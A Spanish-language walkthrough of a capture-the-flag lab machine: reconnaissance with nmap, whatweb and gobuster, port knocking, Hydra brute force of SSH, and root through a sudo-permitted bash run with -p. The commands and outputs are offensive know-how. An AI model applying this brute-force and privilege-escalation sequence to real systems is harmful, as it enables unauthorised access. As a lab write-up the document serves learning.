Desplegamos la máquina.

Le hacemos un ping para comprobar la conectividad y además con el ttl de 64 sabemos que estamos ante una máquina Linux.

```
) ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.064 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.064/0.064/0.064/0.000 ms
```

Con nmap vemos los puertos que están abiertos y sus servicios.

```
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 02:42:AC:11:00:02 (Unknown)
```

Con whatweb vemos las tecnologías que tiene la página web.

```
) whatweb http://172.17.0.2
http://172.17.0.2 [200 OK] Apache[2.4.58], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2
.4.58 (Ubuntu)], IP[172.17.0.2], Title[Apache2 Ubuntu Default Page: It works]
```

Con gobuster encontramos un archivo que estaba oculto en formato txt.

```
gobuster dir -u http://172.17.0.2 -w <u>/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</u>
-x php,html,txt -t 100
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
+] Url:
                                 http://172.17.0.2
   Method:
                                 GET
   Threads:
Wordlist:
                                 100
                                 /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
   Negative Status codes:
                                 404
+] User Agent:
                                 gobuster/3.8
   Extensions:
                                 html,txt,php
Starting gobuster in directory enumeration mode
                         (Status: 200) [Size: 10792]
(Status: 200) [Size: 111]
index.html
```

Y vemos que nos da como una especie de pista de posibles puertos que podríamos probar.

```
← → C ♠ ↑ Not Secure http://172.17.0.2/qdefense.txt ↑ Firefox Default ∰ GTFOBins ↑ PayloadsAllTheThings ↑ Nessus ↑ SonarQube ♣ C

Recuerda llama antes de entrar , no seas como toctoc el maleducado 7000 8000 9000 busca y llama +54 2933574639
```

Realizamos port knocking con dichos puertos con la herramienta que nos trae Kali de base.

Tras realizar port knocking volvemos a comprobar los puertos con nmap para ver si se abre alguno más.

Ahora como sabemos que tenemos el puerto 22 con el servicio ssh abierto y en la pista anterior nos dio un nombre, vamos a aplicar fuerza bruta.

```
) hydra -l toctoc -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret se
rvice organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics
anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-07 13:22:10
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce t
he tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525
tries per task
[DATA] attacking ssh://172.17.0.2:22/
[STATUS] 220.00 tries/min, 220 tries in 00:01h, 14344183 to do in 1086:41h, 12 active
[STATUS] 213.33 tries/min, 640 tries in 00:03h, 14343763 to do in 1120:37h, 12 active
[22][ssh] host: 172.17.0.2 login: toctoc password: kittycat
```

Una vez sabemos contraseña y usuario nos metemos mediante ssh y además comprobamos que no esté en ningún grupo especial.

```
) ssh toctoc@172.17.0.2
toctoc@172.17.0.2's password:
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.16.8+kali-amd64 x86_64)

* Documentation: https://help.ubuntu.com
   * Management: https://landscape.canonical.com
   * Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
toctoc@fc7213a31c67:~$ id
uid=1001(toctoc) gid=1001(toctoc) groups=1001(toctoc),100(users)
```

Con sudo -l vemos que tenemos una posibilidad de escalar privilegios a root.

```
toctoc@fc7213a31c67:~$ sudo -l
[sudo] password for toctoc:
Matching Defaults entries for toctoc on fc7213a31c67:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/bin,
    use_pty

User toctoc may run the following commands on fc7213a31c67:
    (ALL : NOPASSWD) /opt/bash
    (ALL : NOPASSWD) /ahora/noesta/function
```

Nos metemos en la carpeta de opt y vemos que tenemos permisos SUID.

```
toctoc@fc7213a31c67:~$ cd /opt/
toctoc@fc7213a31c67:/opt$ ls -la
total 1424
drwxr-xr-x 1 root root 4096 Oct 7 21:03 .
drwxr-xr-x 1 root root 4096 Oct 7 21:02 ..
-rwsr-S--- 1 root root 1446024 Oct 7 21:20 bash
```

Ya que es root el propietario de esa bash lo único que tenemos que hacer es iniciarla con sudo y el parámetro -p para que mantenga dichos privilegios de root. Listo.

```
toctoc@fc7213a31c67:/opt$ sudo /opt/bash -p
root@fc7213a31c67:/opt# id
uid=0(root) gid=0(root) groups=0(root)
root@fc7213a31c67:/opt# |
```